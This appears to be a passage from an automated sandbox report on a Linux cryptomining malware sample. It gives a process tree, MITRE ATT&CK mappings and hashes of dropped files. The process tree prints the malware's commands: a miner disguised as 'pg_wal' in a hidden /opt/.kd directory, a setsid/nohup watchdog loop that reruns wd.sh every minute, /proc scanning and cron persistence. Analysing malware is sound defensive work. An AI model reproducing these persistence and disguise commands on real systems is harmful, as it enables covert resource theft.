- /bin/rm
  rm -f /opt/.kd/xmrigMiner
  2⤵
  PID:1744
- /bin/cp
  cp -f /opt/.kd/ccd /opt/.kd/ccd.bak
  2⤵
  PID:1745
- /bin/cp
  cp -f /opt/.kd/pg_wal /opt/.kd/pg_wal.bak
  2⤵
  PID:1746
- /bin/cp
  cp -f /opt/.kd/pg_settings.conf /opt/.kd/pg_settings.good.conf
  2⤵
  PID:1747
- /bin/cp
  cp -f /opt/.kd/pg_settings.bak /opt/.kd/config.json
  2⤵
  PID:1748
- /bin/chmod
  chmod 600 /opt/.kd/config.json
  2⤵
  PID:1749
- /bin/sleep
  sleep 2
  2⤵
  PID:1752
- /usr/bin/setsid
  setsid nohup sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /usr/bin/nohup
  nohup setsid ./pg_wal "--config=/opt/.kd/pg_settings.bak"
  2⤵
  PID:1750
- /usr/local/sbin/nohup
  nohup sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /usr/local/bin/nohup
  nohup sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /usr/sbin/nohup
  nohup sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /usr/bin/nohup
  nohup sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /usr/local/sbin/setsid
  setsid ./pg_wal "--config=/opt/.kd/pg_settings.bak"
  2⤵
  PID:1750
- /usr/local/bin/setsid
  setsid ./pg_wal "--config=/opt/.kd/pg_settings.bak"
  2⤵
  PID:1750
- /usr/sbin/setsid
  setsid ./pg_wal "--config=/opt/.kd/pg_settings.bak"
  2⤵
  PID:1750
- /usr/bin/setsid
  setsid ./pg_wal "--config=/opt/.kd/pg_settings.bak"
  2⤵
  - Executes dropped EXE
  PID:1750
- /usr/local/sbin/sh
  sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /usr/local/bin/sh
  sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /usr/sbin/sh
  sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /usr/bin/sh
  sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /sbin/sh
  sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- /bin/sh
  sh -c "while true; do sleep 60; [ -x '/opt/.kd/wd.sh' ] && sh '/opt/.kd/wd.sh' >/dev/null 2>&1; done"
  2⤵
  PID:1751
- - /bin/sleep
    sleep 60
    3⤵
    PID:1754
- - /bin/sh
    sh /opt/.kd/wd.sh
    3⤵
    PID:1852
  - - /bin/chmod
      chmod 755 /opt/.kd/ccd
      4⤵
      File and Directory Permissions Modification
      PID:1853
  - - /bin/chmod
      chmod 755 /opt/.kd/pg_wal
      4⤵
      File and Directory Permissions Modification
      PID:1854
  - - /usr/bin/tail
      tail -1
      4⤵
      PID:1857
  - - /usr/bin/awk
      awk "{print \$5}"
      4⤵
      PID:1858
  - - /bin/df
      df -h /opt/.kd
      4⤵
      PID:1856
  - - /usr/bin/tr
      tr -d "%"
      4⤵
      PID:1859
  - - /bin/readlink
      readlink /proc/1/exe
      4⤵
      PID:1860
  - - /bin/readlink
      readlink /proc/10/exe
      4⤵
      PID:1861
  - - /bin/readlink
      readlink /proc/107/exe
      4⤵
      PID:1862
  - - /bin/readlink
      readlink /proc/109/exe
      4⤵
      PID:1863
  - - /bin/readlink
      readlink /proc/11/exe
      4⤵
      PID:1864
  - - /bin/readlink
      readlink /proc/110/exe
      4⤵
      PID:1865
  - - /bin/readlink
      readlink /proc/12/exe
      4⤵
      PID:1866
  - - /bin/readlink
      readlink /proc/13/exe
      4⤵
      PID:1867
  - - /bin/readlink
      readlink /proc/1310/exe
      4⤵
      PID:1868
  - - /bin/readlink
      readlink /proc/138/exe
      4⤵
      PID:1869
  - - /bin/readlink
      readlink /proc/14/exe
      4⤵
      PID:1870
  - - /bin/readlink
      readlink /proc/142/exe
      4⤵
      PID:1871
  - - /bin/readlink
      readlink /proc/143/exe
      4⤵
      PID:1872
  - - /bin/readlink
      readlink /proc/15/exe
      4⤵
      PID:1873
  - - /bin/readlink
      readlink /proc/159/exe
      4⤵
      PID:1874
  - - /bin/readlink
      readlink /proc/16/exe
      4⤵
      PID:1875
  - - /bin/readlink
      readlink /proc/17/exe
      4⤵
      PID:1876
  - - /bin/readlink
      readlink /proc/170/exe
      4⤵
      PID:1877
  - - /bin/readlink
      readlink /proc/1751/exe
      4⤵
      PID:1878
  - - /bin/readlink
      readlink /proc/18/exe
      4⤵
      PID:1879
  - - /bin/readlink
      readlink /proc/1851/exe
      4⤵
      PID:1880
  - - /bin/readlink
      readlink /proc/1852/exe
      4⤵
      PID:1881
  - - /bin/readlink
      readlink /proc/19/exe
      4⤵
      PID:1882
  - - /bin/readlink
      readlink /proc/2/exe
      4⤵
      PID:1883
  - - /bin/readlink
      readlink /proc/20/exe
      4⤵
      PID:1884
  - - /bin/readlink
      readlink /proc/208/exe
      4⤵
      PID:1885
  - - /bin/readlink
      readlink /proc/21/exe
      4⤵
      PID:1886
  - - /bin/readlink
      readlink /proc/22/exe
      4⤵
      PID:1887
  - - /bin/readlink
      readlink /proc/23/exe
      4⤵
      PID:1888
  - - /bin/readlink
      readlink /proc/231/exe
      4⤵
      PID:1889
  - - /bin/readlink
      readlink /proc/24/exe
      4⤵
      PID:1890
  - - /bin/readlink
      readlink /proc/25/exe
      4⤵
      PID:1891
  - - /bin/readlink
      readlink /proc/26/exe
      4⤵
      PID:1892
  - - /bin/readlink
      readlink /proc/27/exe
      4⤵
      PID:1893
  - - /bin/readlink
      readlink /proc/28/exe
      4⤵
      PID:1894
  - - /bin/readlink
      readlink /proc/289/exe
      4⤵
      PID:1895
  - - /bin/readlink
      readlink /proc/29/exe
      4⤵
      PID:1896
  - - /bin/readlink
      readlink /proc/292/exe
      4⤵
      PID:1897
  - - /bin/readlink
      readlink /proc/293/exe
      4⤵
      PID:1898
  - - /bin/readlink
      readlink /proc/295/exe
      4⤵
      PID:1899
  - - /bin/readlink
      readlink /proc/3/exe
      4⤵
      PID:1900
  - - /bin/readlink
      readlink /proc/304/exe
      4⤵
      PID:1901
  - - /bin/readlink
      readlink /proc/308/exe
      4⤵
      PID:1902
  - - /bin/readlink
      readlink /proc/316/exe
      4⤵
      PID:1903
  - - /bin/readlink
      readlink /proc/321/exe
      4⤵
      PID:1904
  - - /bin/readlink
      readlink /proc/325/exe
      4⤵
      PID:1905
  - - /bin/readlink
      readlink /proc/4/exe
      4⤵
      PID:1906
  - - /bin/readlink
      readlink /proc/41/exe
      4⤵
      PID:1907
  - - /bin/readlink
      readlink /proc/42/exe
      4⤵
      PID:1908
  - - /bin/readlink
      readlink /proc/43/exe
      4⤵
      PID:1909
  - - /bin/readlink
      readlink /proc/5/exe
      4⤵
      PID:1910
  - - /bin/readlink
      readlink /proc/567/exe
      4⤵
      PID:1911
  - - /bin/readlink
      readlink /proc/579/exe
      4⤵
      PID:1912
  - - /bin/readlink
      readlink /proc/583/exe
      4⤵
      PID:1913
  - - /bin/readlink
      readlink /proc/593/exe
      4⤵
      PID:1914
  - - /bin/readlink
      readlink /proc/594/exe
      4⤵
      PID:1915
  - - /bin/readlink
      readlink /proc/6/exe
      4⤵
      PID:1916
  - - /bin/readlink
      readlink /proc/644/exe
      4⤵
      PID:1917
  - - /bin/readlink
      readlink /proc/645/exe
      4⤵
      PID:1918
  - - /bin/readlink
      readlink /proc/646/exe
      4⤵
      PID:1919
  - - /bin/readlink
      readlink /proc/662/exe
      4⤵
      PID:1920
  - - /bin/readlink
      readlink /proc/7/exe
      4⤵
      PID:1921
  - - /bin/readlink
      readlink /proc/76/exe
      4⤵
      PID:1922
  - - /bin/readlink
      readlink /proc/8/exe
      4⤵
      PID:1923
  - - /bin/readlink
      readlink /proc/9/exe
      4⤵
      PID:1924
  - - /bin/readlink
      readlink /proc/98/exe
      4⤵
      PID:1925
- - /bin/sleep
    sleep 60
    3⤵
    PID:1927
- - /bin/sh
    sh /opt/.kd/wd.sh
    3⤵
    PID:2022
  - - /bin/chmod
      chmod 755 /opt/.kd/ccd
      4⤵
      File and Directory Permissions Modification
      PID:2023
  - - /bin/chmod
      chmod 755 /opt/.kd/pg_wal
      4⤵
      File and Directory Permissions Modification
      PID:2024
  - - /usr/bin/tail
      tail -1
      4⤵
      PID:2027
  - - /usr/bin/awk
      awk "{print \$5}"
      4⤵
      PID:2028
  - - /bin/df
      df -h /opt/.kd
      4⤵
      PID:2026
  - - /usr/bin/tr
      tr -d "%"
      4⤵
      PID:2029
  - - /bin/readlink
      readlink /proc/1/exe
      4⤵
      PID:2030
  - - /bin/readlink
      readlink /proc/10/exe
      4⤵
      PID:2031
  - - /bin/readlink
      readlink /proc/107/exe
      4⤵
      PID:2032
  - - /bin/readlink
      readlink /proc/109/exe
      4⤵
      PID:2033
  - - /bin/readlink
      readlink /proc/11/exe
      4⤵
      PID:2034
  - - /bin/readlink
      readlink /proc/110/exe
      4⤵
      PID:2035
  - - /bin/readlink
      readlink /proc/12/exe
      4⤵
      PID:2036
  - - /bin/readlink
      readlink /proc/13/exe
      4⤵
      PID:2037
  - - /bin/readlink
      readlink /proc/1310/exe
      4⤵
      PID:2038
  - - /bin/readlink
      readlink /proc/138/exe
      4⤵
      PID:2039
  - - /bin/readlink
      readlink /proc/14/exe
      4⤵
      PID:2040
  - - /bin/readlink
      readlink /proc/142/exe
      4⤵
      PID:2041
  - - /bin/readlink
      readlink /proc/143/exe
      4⤵
      PID:2042
  - - /bin/readlink
      readlink /proc/15/exe
      4⤵
      PID:2043
  - - /bin/readlink
      readlink /proc/159/exe
      4⤵
      PID:2044
  - - /bin/readlink
      readlink /proc/16/exe
      4⤵
      PID:2045
  - - /bin/readlink
      readlink /proc/17/exe
      4⤵
      PID:2046
  - - /bin/readlink
      readlink /proc/170/exe
      4⤵
      PID:2047
  - - /bin/readlink
      readlink /proc/1751/exe
      4⤵
      PID:2048
  - - /bin/readlink
      readlink /proc/18/exe
      4⤵
      PID:2049
  - - /bin/readlink
      readlink /proc/19/exe
      4⤵
      PID:2050
  - - /bin/readlink
      readlink /proc/2/exe
      4⤵
      PID:2051
  - - /bin/readlink
      readlink /proc/20/exe
      4⤵
      PID:2052
  - - /bin/readlink
      readlink /proc/2021/exe
      4⤵
      PID:2053
  - - /bin/readlink
      readlink /proc/2022/exe
      4⤵
      PID:2054
  - - /bin/readlink
      readlink /proc/208/exe
      4⤵
      PID:2055
  - - /bin/readlink
      readlink /proc/21/exe
      4⤵
      PID:2056
  - - /bin/readlink
      readlink /proc/22/exe
      4⤵
      PID:2057
  - - /bin/readlink
      readlink /proc/23/exe
      4⤵
      PID:2058
  - - /bin/readlink
      readlink /proc/231/exe
      4⤵
      PID:2059
  - - /bin/readlink
      readlink /proc/24/exe
      4⤵
      PID:2060
  - - /bin/readlink
      readlink /proc/25/exe
      4⤵
      PID:2061
  - - /bin/readlink
      readlink /proc/26/exe
      4⤵
      PID:2062
  - - /bin/readlink
      readlink /proc/27/exe
      4⤵
      PID:2063
  - - /bin/readlink
      readlink /proc/28/exe
      4⤵
      PID:2064
  - - /bin/readlink
      readlink /proc/289/exe
      4⤵
      PID:2065
  - - /bin/readlink
      readlink /proc/29/exe
      4⤵
      PID:2066
  - - /bin/readlink
      readlink /proc/292/exe
      4⤵
      PID:2067
  - - /bin/readlink
      readlink /proc/293/exe
      4⤵
      PID:2068
  - - /bin/readlink
      readlink /proc/295/exe
      4⤵
      PID:2069
  - - /bin/readlink
      readlink /proc/3/exe
      4⤵
      PID:2070
  - - /bin/readlink
      readlink /proc/304/exe
      4⤵
      PID:2071
  - - /bin/readlink
      readlink /proc/308/exe
      4⤵
      PID:2072
  - - /bin/readlink
      readlink /proc/316/exe
      4⤵
      PID:2073
  - - /bin/readlink
      readlink /proc/321/exe
      4⤵
      PID:2074
  - - /bin/readlink
      readlink /proc/325/exe
      4⤵
      PID:2075
  - - /bin/readlink
      readlink /proc/4/exe
      4⤵
      PID:2076
  - - /bin/readlink
      readlink /proc/41/exe
      4⤵
      PID:2077
  - - /bin/readlink
      readlink /proc/42/exe
      4⤵
      PID:2078
  - - /bin/readlink
      readlink /proc/43/exe
      4⤵
      PID:2079
  - - /bin/readlink
      readlink /proc/5/exe
      4⤵
      PID:2080
  - - /bin/readlink
      readlink /proc/567/exe
      4⤵
      PID:2081
  - - /bin/readlink
      readlink /proc/579/exe
      4⤵
      PID:2082
  - - /bin/readlink
      readlink /proc/583/exe
      4⤵
      PID:2083
  - - /bin/readlink
      readlink /proc/593/exe
      4⤵
      PID:2084
  - - /bin/readlink
      readlink /proc/594/exe
      4⤵
      PID:2085
  - - /bin/readlink
      readlink /proc/6/exe
      4⤵
      PID:2086
  - - /bin/readlink
      readlink /proc/644/exe
      4⤵
      PID:2087
  - - /bin/readlink
      readlink /proc/645/exe
      4⤵
      PID:2088
  - - /bin/readlink
      readlink /proc/646/exe
      4⤵
      PID:2089
  - - /bin/readlink
      readlink /proc/662/exe
      4⤵
      PID:2090
  - - /bin/readlink
      readlink /proc/7/exe
      4⤵
      PID:2091
  - - /bin/readlink
      readlink /proc/76/exe
      4⤵
      PID:2092
  - - /bin/readlink
      readlink /proc/8/exe
      4⤵
      PID:2093
  - - /bin/readlink
      readlink /proc/9/exe
      4⤵
      PID:2094
  - - /bin/readlink
      readlink /proc/98/exe
      4⤵
      PID:2095
- - /bin/sleep
    sleep 60
    3⤵
    PID:2097
- /opt/.kd/pg_wal
  ./pg_wal "--config=/opt/.kd/pg_settings.bak"
  2⤵
  PID:1750
- /bin/sh
  /bin/sh ./pg_wal "--config=/opt/.kd/pg_settings.bak"
  2⤵
  PID:1750

/usr/bin/setsid
setsid nohup ./pg_wal --config pg_settings.conf
1⤵
PID:1926

/usr/local/sbin/nohup
nohup ./pg_wal --config pg_settings.conf
1⤵
PID:1926

/usr/local/bin/nohup
nohup ./pg_wal --config pg_settings.conf
1⤵
PID:1926

/usr/sbin/nohup
nohup ./pg_wal --config pg_settings.conf
1⤵
PID:1926

/usr/bin/nohup
nohup ./pg_wal --config pg_settings.conf
1⤵
- Executes dropped EXE
PID:1926

/opt/.kd/pg_wal
./pg_wal --config pg_settings.conf
1⤵
PID:1926

/bin/sh
/bin/sh ./pg_wal --config pg_settings.conf
1⤵
PID:1926

/usr/bin/setsid
setsid nohup ./pg_wal --config pg_settings.conf
1⤵
PID:2096

/usr/local/sbin/nohup
nohup ./pg_wal --config pg_settings.conf
1⤵
PID:2096

/usr/local/bin/nohup
nohup ./pg_wal --config pg_settings.conf
1⤵
PID:2096

/usr/sbin/nohup
nohup ./pg_wal --config pg_settings.conf
1⤵
PID:2096

/usr/bin/nohup
nohup ./pg_wal --config pg_settings.conf
1⤵
- Executes dropped EXE
PID:2096

/opt/.kd/pg_wal
./pg_wal --config pg_settings.conf
1⤵
PID:2096

/bin/sh
/bin/sh ./pg_wal --config pg_settings.conf
1⤵
PID:2096

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.sd_ver

Path /opt/.kd/.sd_ver
Size 3B
SHA256 81db67b6a5702b9b68f0016f061c409bf3fb16d062fc854d1b424bb4e9c28c56
MD5 e30260020baeb0398ff07b37dd33ed16
SHA1 870efcb9bdd84669a49ddd7a0b434a83bd44a935
SHA512 0b019baa9f3dd21f0cf08bd29f12981fde1dee205bde53d7f3d9ceaba101c6713f968661227941e5f8f0bf7e1d277cf39983c6779d17537b467e5fbe66b74529
MD5 SHA1 SHA512

Submit Download

.shards

Path /opt/.kd/.shards
Size 21B
SHA256 5ca7707e50e3559d3cfec7d99a1e0cbfff6d7433a4a67d1752dbeb503b3b55f5
MD5 217a2e4820ac46bab1d1381ed312fa01
SHA1 f67e8f0948032fe61bf94d6e62e9bf3b6b3aa18b
SHA512 f9b5fc8824604f9b990ff7ffbed8e537e7901bcecea0775aad5c3a0cb368e727d060f59d1de9fc9c6f8283b0411c7b9652053e47fe70a6148428740dbdd2323a
MD5 SHA1 SHA512

Submit Download

.v.json.647

Path /opt/.kd/.v.json.647
Size 335B
SHA256 860b53ed6ea6a0cf602fae632cfcd28dbcf637f85a8bee28d2ee9c6cc9081669
MD5 a2ae3eaedf7f44998f3639756a1725cc
SHA1 2616e0e695487e0f4fc5ddc18c57dcf95ce5851a
SHA512 e950a920950fde6d4786cf81516355080821cca1d59253cb46b829f99f1aed7ff2e1618c93664801f441258923199b275d8b853baa3b657861cc238f31da9391
TLSH
T12FE0728B82F20A530291002007E0B7801C0A270F0ACAA22AB68D732A5FC0181C8872D8
MD5 SHA1 SHA512 TLSH

Submit Download

ccd

Path /opt/.kd/ccd
Size 629KB
SHA256 0ea2d73e47b8642b24371be112fb04e455bc8577fa17911bd17793887cedeb7e
MD5 bd98e7c9ca771be14cd9229bc1636732
SHA1 4a4723378eb0268f4659f1b1d3f2be5f74e20b87
SHA512 cd641b0325242bfec608fae6d09c716d2a6519bf2aafeef025e7330c2c1e1c63d90b1b15307adcfa3d3fd4ccaff4003d4facc68038283f7b47ecdfd631380608
SSDEEP 12288:vNr8EGmp/etbb5E/QiXnn5J7tE5IavCilgG1k:+mEtBufa
TLSH
T1FFD419037BE058FED1D5C970474BD1A3A934F8864163353F3A95AB402A7AE309F6DBA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pg_settings.good.conf

Path /opt/.kd/pg_settings.good.conf
Size 1KB
SHA256 98a172a778e7498e5d7b4ab61a2d69018be82d1ff79884988a82426cd8f9f8e7
MD5 8c1aec44ce669ec48212e20facdcfabd
SHA1 de7d223b5b526866ec725ad8c0664abe5e311da1
SHA512 2839872483f21b40dcaa67fe489a3271eceeeda39c0fb3953009f615d34e55b40a5a3b12409e5bd76a70c8d9dd48412a21eb2d3892709a9a822ebabe4789ba9a
TLSH
T144212118CB191FFFC2D9D382E0653B47056D6523204237E4322AB51A62FF8FA7215453
MD5 SHA1 SHA512 TLSH

Submit Download

pg_wal

Path /opt/.kd/pg_wal
Size 7.9MB
SHA256 b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
MD5 8f4fff0ded94f1141768220906abfbb8
SHA1 ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA512 0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee
SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3R1lrepM:bl4lcmDi1WIPFCBNcJ7oEkLsQ
TLSH
T134866C47B5E318FDC19AC470472FD6A3BD7078A84221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sd.sh

Path /opt/.kd/sd.sh
Size 1KB
SHA256 921b08615c2145093d99b01153dba8ac4f519d95cc4a827b38c45c2a64f30cbf
MD5 a1686970c83de63e61adabd7891d4942
SHA1 b2cd16c59afac704952435f3d67d6c1aa38c130b
SHA512 0093f270562b7ecbb6b533e4160832c7540ad59869080d68423b67f5692190c355a571b4444e8625315cf36793f81685cc6dc61280c412a0359aa8dbc43a5f76
TLSH
T1472144DD74B299303146C6A83C17D4D8158BB99F02B23CD9BB1F40A1AFAE22930EC121
MD5 SHA1 SHA512 TLSH

Submit Download

sedfYVZ1s

Path /opt/.kd/sedfYVZ1s
Size 964B
SHA256 167404b688a7e3b8a1b87e92d6e5050b76a772e2e714b0b08cdeb2e3426dac36
MD5 d0cc42aa3adbf8e89ba00b6c441e2bd6
SHA1 10b34916653d697b78da7fe7757395951a137957
SHA512 f6ac2cba6ce18c8d616f2e4d4de840ebeb974a9698820fe683c8d683426fcb61ecb7a5688fe8aab210f8a4b471fa602b23144436a8d91c368fdc39a57acffb93
TLSH
T1AA1126E8E43AE9B074885528ED994F85E9420EBF46E17F59301ADC842C2C6A871F8B35
MD5 SHA1 SHA512 TLSH

Submit Download

sedrPVl3m

Path /opt/.kd/sedrPVl3m
Size 1KB
SHA256 dd071f922ed8be5e12e92e252556c5eea13b136a1c17a4daca559ed835c26994
MD5 ae549eb02f79a42a0f688d5e03940430
SHA1 7839f6c9c1f271df4639edd9c441cd330b785fbf
SHA512 f7b107b38dbc131c0c7d580f96d0e04eb0cafecd73b28364d47e2947920439cc30f06762470fc39edbd8358f83e8864a0f9ee1989baa78e6acde5ece900bc83d
TLSH
T1FA31D7FAE87C88A1B60E1929F5AD8F851CEA8B7F40687E5130873C68613802930F03B5
MD5 SHA1 SHA512 TLSH

Submit Download

sedyX2ppD

Path /opt/.kd/sedyX2ppD
Size 1KB
SHA256 2f591e4c8065e03d5fb5b05313716a4178162a7355106978c735d8dd0bd39677
MD5 0a48ea1348bc797a519bdb33dc45c834
SHA1 33c5e0ab40cb35c64813b20a9d5796e7f9744990
SHA512 c283870278bab26ee833c1d88b5c193c489e02622b1e5059557f6679ffdf39da910eeb30864634fe2551335ae7696773325e5bdff33d64ddd325f749bf5f7a3f
TLSH
T14331CBFAE87C88B2B51D0869F5AD8F451CD68B7F44697E50308A7C65613802930F83B5
MD5 SHA1 SHA512 TLSH

Submit Download

wd.sh

Path /opt/.kd/wd.sh
Size 1KB
SHA256 57291c2f983ee360fd210626b15b62c2d8244458b7836174f81ff27055b6f845
MD5 424344a58b17d1d8879d6abf01b65edb
SHA1 cc6a3dc8c1f6e78b32a4fac73f0a195435a11f18
SHA512 a6630dee576a04b821e05a1696b6d84122199aec7896e0b9e3a123e343424a119256fc4f647db598e7dc5841a9bb376fdac618736122611d84ea3248005d2853
TLSH
T1F131D9FAE87C98A1B50E1929F56D8F451CE6CB7F40687E5030873C64613802530F43B5
MD5 SHA1 SHA512 TLSH

Submit Download

wd2.sh

Path /opt/.kd/wd2.sh
Size 1KB
SHA256 f3aad71d351bbe60cf546f608afe35bcf1b56d61d3a37d0e6ac4962c7ab25127
MD5 833baf6ae7e4aeb3c817fe8da0bf7ee3
SHA1 1076da48cf3dea3049e4147b0bccf800312bb6d9
SHA512 2188b202c7d623b7ed2dffb2497877a36e48d47f08c1b3152aedc590410ea83d38d0d7e7c1b023a6092f7296094e09b6dd3f25a1fb3396839e7d0cbe265f9725
TLSH
T10F31CBFAE87C88B2B5194869F5AD8F451DD68B7F44697E50308A7C65613802930F83B5
MD5 SHA1 SHA512 TLSH

Submit Download

wd3.sh

Path /opt/.kd/wd3.sh
Size 961B
SHA256 5e073d50ab202e9d318070905b73674388e5b4f1a0109afa58d9a57239f7c23e
MD5 eae201c678faaa6ebd00c4e7ea6f25f9
SHA1 3c08bb34953e1f764691fbf9b79dfc1db89cd5ce
SHA512 455a1cacfdc783ee799b92560d450e6c62f9b2c69e262393b2776df3d10378d6b5356232f842f9fac20da0d1667b15ba4367dc0d13b95e195da913b9f24eb689
TLSH
T1C61126E8E43AE9B074885528ED994F85E9420EBF46E17F5D301ADC842C2C6A871F8B35
MD5 SHA1 SHA512 TLSH

Submit Download

.te

Path /run/postgresql/.kd/.te
Size 18B
SHA256 e2bb1b9661190793afe663b2048239a2f06b349893255594bbdac2239bce6c0f
MD5 174b11bb30102d1d231943bb42f55e32
SHA1 cfed29bb0b1ced485ff5cb177a42cb233a769075
SHA512 73cfe396e88e3fee77c24a4e0e4899599ca4bc95cb1cef495baaff663f5a9209f4c6f3435757c6d7f6036a1ae51c36a395baab8156dfa688d6b260e8364d2569
MD5 SHA1 SHA512

Submit Download

tmp.IVbZM1

Path /var/spool/cron/crontabs/tmp.IVbZM1
Size 725B
SHA256 a5b3c4ae05220fdf034ee8384b61c03ad27ab4f1ddca8ec28c6eccd7d5f55be3
MD5 ac5f3ca442bf2b667118a1249fda7cc4
SHA1 ec40b36271058d9e57c0918e20b82ab3ff045f66
SHA512 6eeafa5f0f7917a473d0fa3da5f94c72c22581046715eb6d1e6f7b850c953c37eb1faf72c5e2eee0ba279e76845a9e76e8d13c88853228a40961b02632bfb059
TLSH
T1430147F764042931368C75BC795B820E89878866C0A96B61949DA869828D74FA185BB4
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.eBU93C

Path /var/spool/cron/crontabs/tmp.eBU93C
Size 635B
SHA256 e874173c1fee7f99515cb8a8ef7bdb9f09408f2f1711eff77148d89879d72051
MD5 7bdba349be9187d089d2bf9323b93da3
SHA1 e2788ccbb71d054a215e882d02dfaba8ddd113b3
SHA512 c83cb55e1891cc91c38f60064748bbc16a8753669a93e2182f9dbb8008489d8893bf99e0e6264fbc6b45e77704593d44fe4b4b9119d52178d696aee5f465218b
TLSH
T13EF078F778055931354C75BC758B830E8DC28866C0AA6B51D09DA86D834C74FB6C9BB8
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads